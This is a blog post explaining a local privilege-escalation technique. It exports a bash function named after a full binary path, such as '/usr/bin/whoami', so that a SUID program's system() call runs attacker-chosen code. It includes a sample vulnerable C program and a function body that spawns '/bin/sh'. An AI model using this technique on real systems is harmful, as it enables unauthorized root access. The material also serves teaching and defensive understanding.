Exploiting bash calls to system()

Previously we’ve covered a fairly typical exploitation against a SUID binary with a poorly configured call to system(), allowing us to selectively control execution by manipulating the path. Its a good technique, but its only applicable in situations where the programmer has failed to specify the full path for a given binary – if they give a complete path the technique is useless.


Lets modify our sample program from before to demonstrate

#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv)
{
    printf("Hello \n");
    system("/usr/bin/whoami");
    return(0);
}

So now what? No matter what we put into the PATH the call to system is always going to execute the binary at /bin/whoami. Right?

Not quite, at least not in bash.


Bash has a feature, shell functions which allow us to specify an arbitrarily named function, which when executed will perform a series of user defined commands. The best bit is that “/” is an allowed character in naming these functions…

Here’s how you define a shell function

function_name(){ echo 'hi';/bin/sh; }

Note that there’s a space between the { and the first command, and that each command is terminated with a semicolon. Functions supersede commands of the same name, as we can demonstrate

root@kali:~# whoami(){ echo The Greatest; }
root@kali:~# whoami
The Greatest

Functions can be of arbitrary length, contain for loops, variables, etc – just like any other bash script.

The best thing here is that you can happily name your new script using “/” characters, so “/usr/bin/whoami” is a perfectly acceptable function name.

root@kali:~# /usr/bin/whoami
root
root@kali:~# /usr/bin/whoami(){ echo toor; }
root@kali:~# /usr/bin/whoami
toor

Even more useful is that when executing programs the system() function will execute saved functions in preference to executable files in the file system, however because you’re no longer calling your function from within the bash environment you need to export the bash function, using the -f option to specify that its a function:

export -f /usr/bin/whoami

So now when we execute our vulnerable code, instead of executing the binary at /usr/bin/whoami, the system() function will instead execute the arbitrary code that we’ve included as the body of our new bash function.


 

 

This entry was posted in Uncategorized. Bookmark the permalink.

Leave a comment